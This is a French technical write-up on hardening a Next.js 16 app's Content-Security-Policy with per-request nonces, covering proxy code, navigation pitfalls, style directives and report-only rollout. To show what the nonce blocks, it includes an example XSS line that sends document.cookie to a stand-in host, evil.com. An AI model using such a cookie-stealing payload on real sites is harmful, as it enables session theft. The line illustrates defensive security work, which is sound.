Le nonce CSP
💡 Sujet
Une Content-Security-Policy sait filtrer les scripts servis par une URL, mais pas ceux écrits
directement dans la page. Le nonce est le mécanisme qui rend ces scripts inline filtrables, et donc
qui permet de se débarrasser de 'unsafe-inline'. Découvert en durcissant la CSP d'une app
Next.js 16.
🔓 Le problème : 'unsafe-inline' ne protège rien
Pour un fichier, la règle est simple : « uniquement ce qui vient de mon domaine ».
Content-Security-Policy: script-src 'self'<script src="/app.js"></script> ← exécuté
<script src="https://evil.com/x.js"></script> ← bloquéMais une page contient aussi des scripts écrits entre deux balises. Là, pas d'URL, donc pas de critère de filtrage. La seule réponse possible pendant longtemps :
Content-Security-Policy: script-src 'self' 'unsafe-inline'Ce qui signifie « exécute tout ce qui est écrit dans la page ». C'est-à-dire exactement l'endroit où
un attaquant qui réussit à injecter du HTML place son script. Une CSP avec 'unsafe-inline' sur
script-src ne protège donc pas de l'XSS, elle ne fait que rassurer.
🎲 Le nonce : un mot de passe à usage unique
nonce = number used once. Le serveur tire une valeur aléatoire, l'annonce dans l'en-tête HTTP,
et la recopie sur chaque balise qu'il a lui-même écrite.
Content-Security-Policy: script-src 'self' 'nonce-1ztGkYefrJZacK932cmB0A=='<script nonce="1ztGkYefrJZacK932cmB0A==">initApp()</script> ← exécuté
<script>fetch('https://evil.com?c='+document.cookie)</script> ← bloquéLe navigateur compare l'attribut à l'en-tête, et n'exécute que ce qui correspond.
Ça marche parce que l'attaquant ne peut pas deviner la valeur : elle est tirée au hasard, elle change à chaque chargement, et elle ne circule que dans l'en-tête de réponse. Jamais dans une URL, jamais dans un cookie, jamais dans un endroit lisible depuis le JavaScript de la page. Son script arrive sans étiquette, donc mort-né.
Détail à connaître : dès qu'un nonce est présent, le navigateur ignore 'unsafe-inline'. Les
deux ne se cumulent pas, ce qui permet de garder 'unsafe-inline' comme repli pour les très vieux
navigateurs sans affaiblir les autres.
🔁 Il doit changer à chaque requête
C'est la seule vraie contrainte. Un nonce fixe est un mot de passe publié : il suffit de regarder le code source une fois pour le connaître, et toute la protection tombe.
// 16 octets de CSPRNG, en base64. Web Crypto, disponible partout.
function generateNonce(): string {
const bytes = new Uint8Array(16);
crypto.getRandomValues(bytes);
return btoa(String.fromCharCode(...bytes));
}Ne pas utiliser Math.random(), qui est prédictible. Un test qui vérifie que N requêtes donnent N
valeurs distinctes coûte trois lignes et attrape la régression le jour où quelqu'un « optimise » en
calculant le nonce une seule fois au démarrage :
it("mints a fresh nonce per request", () => {
const seen = new Set(Array.from({ length: 20 }, () => nonceOf(proxy(req()))));
expect(seen.size).toBe(20);
});Conséquence directe : une page à nonce ne peut pas être statique. Elle doit être rendue à chaque requête, puisque le nonce fait partie du HTML. Pas de génération au build, pas de cache CDN sans précaution.
⚛️ En pratique avec Next.js (App Router)
Next fait le gros du travail, à condition de lui donner le nonce sur la requête. Le proxy (ex-middleware, renommé en Next 16) génère la valeur et la pose à deux endroits :
// proxy.ts
export function proxy(request: NextRequest) {
const nonce = generateNonce();
const csp = `default-src 'self'; script-src 'self' 'nonce-${nonce}'`;
const requestHeaders = new Headers(request.headers);
requestHeaders.set("Content-Security-Policy", csp); // Next y lit le nonce
requestHeaders.set("x-nonce", nonce); // pour notre propre code
const response = NextResponse.next({ request: { headers: requestHeaders } });
response.headers.set("Content-Security-Policy", csp); // ce que le navigateur applique
return response;
}Next parse l'en-tête CSP de la requête, en extrait le nonce, et le recopie tout seul sur les scripts du framework, les bundles de page et ses propres blocs inline. Sur une app réelle, ça représente une cinquantaine de balises qu'on n'a pas à toucher.
Restent les balises que Next n'écrit pas, typiquement le JSON-LD. Elles lisent l'en-tête maison :
import { headers } from "next/headers";
export default async function Page() {
const nonce = (await headers()).get("x-nonce") ?? undefined;
return (
<script
type="application/ld+json"
nonce={nonce}
dangerouslySetInnerHTML={{ __html: JSON.stringify(jsonLd) }}
/>
);
}Deux pièges rencontrés :
- Next cherche le nonce dans l'en-tête
content-security-policyd'abord, et seulement ensuite danscontent-security-policy-report-only. Si on n'émet que le second, il faut supprimer le premier des en-têtes entrants, sinon un appelant peut fournir le sien et choisir le nonce qui atterrira sur tous les scripts de la page. - Un
NextResponse.redirect()ouNextResponse.json()renvoyé depuis le proxy court-circuite les règlesheaders()denext.config.ts. Chaque sortie du proxy doit porter la CSP elle-même.
⚠️ Un nonce vaut pour un document, pas pour une navigation
Le point le moins évident, et celui qui a demandé le plus de temps à comprendre.
Sur une navigation client (<Link>), le document n'est pas rechargé : sa CSP reste celle du premier
chargement. Mais la nouvelle page arrive par une requête RSC, que le proxy a servie avec un nonce
frais. Mesuré :
Document initial : Content-Security-Policy: ... 'nonce-9aRcZD4fdqhvge8/kdDIMQ=='
Payload RSC suivant: ... "nonce":"ektwkaeu4RbXf70P5ppSfA=="Une balise inline rendue côté serveur après navigation client porte donc un nonce que la CSP du
document ne liste pas : elle est bloquée. Les scripts s'en sortent parce qu'ils sont chargés par
src depuis notre origine, couverts par 'self' — c'est aussi la raison de ne pas ajouter
'strict-dynamic' à la légère, qui annule justement 'self'.
Ce qui se trouve dans un composant client, en revanche, n'est pas concerné : si le nonce descend par un contexte monté dans le layout racine, ce layout persiste d'une navigation à l'autre, donc la valeur reste celle du document.
Morale : du contenu statique n'a pas besoin d'étiquette, il a besoin d'être dans un fichier. Un
<style> de @keyframes déplacé dans une feuille servie par notre origine est couvert par 'self'
et n'a plus aucun problème de nonce.
🎨 Le cas des styles : un nonce ne couvre jamais un attribut
style-src gouverne deux choses très différentes, et le nonce n'en couvre qu'une.
<style nonce="...">.a { color: red }</style> ← nonçable
<div style="color: red"> ← PAS nonçableIl n'existe aucune syntaxe pour attacher un nonce à un attribut style=. Sur une base de code qui
en compte plusieurs centaines, retirer 'unsafe-inline' de style-src casse donc toute l'interface.
La CSP niveau 3 permet de découper :
style-src 'self' 'unsafe-inline'; # repli vieux navigateurs
style-src-elem 'self' 'nonce-1ztGkYef...'; # les balises <style>
style-src-attr 'unsafe-inline'; # les attributs style=Les navigateurs récents utilisent les deux directives spécifiques et ignorent style-src ; les
anciens font l'inverse. On protège les balises sans casser les attributs. Le risque résiduel sur les
attributs reste faible : du CSS n'exécute pas de JavaScript.
🚦 Se déployer sans rien casser
Le mode report-only change tout dans la façon d'y aller. Le navigateur applique la policy à blanc
et poste les violations à un endpoint, sans rien bloquer :
Content-Security-Policy-Report-Only: script-src 'self' 'nonce-...'; report-uri https://...Ça permet d'expédier la policy définitive, 'unsafe-inline' retiré, et de lire pendant une
semaine ce que l'enforcement casserait. Le passage en mode bloquant n'est plus alors qu'un
changement de nom d'en-tête. C'est comme ça que le problème de navigation client ci-dessus est
apparu : dans les rapports, pas dans un ticket de bug.
🧩 Résumé
- 🔓
'unsafe-inline'surscript-srcautorise pile ce qu'un XSS injecte : la CSP ne sert alors à rien. - 🎲 Le nonce est une étiquette aléatoire qui distingue « ce que mon serveur a écrit » de « ce qui est apparu sans que je le sache ».
- 🔁 Une valeur par requête, tirée d'un CSPRNG. Un nonce fixe est un mot de passe publié.
- 🚫 Ce n'est ni un secret d'authentification ni du chiffrement : juste un marqueur d'origine.
- 📄 Un nonce vaut pour un document. Le contenu statique va dans un fichier servi par l'origine, pas dans une balise noncée.
- 🎨 Aucun nonce ne s'attache à un attribut
style=: découper enstyle-src-elem/style-src-attr. - ⚡ Une page à nonce est forcément rendue à la requête : pas de statique, pas de cache CDN naïf.
- 🚦 Toujours passer par
report-onlyavec la policy finale avant de bloquer.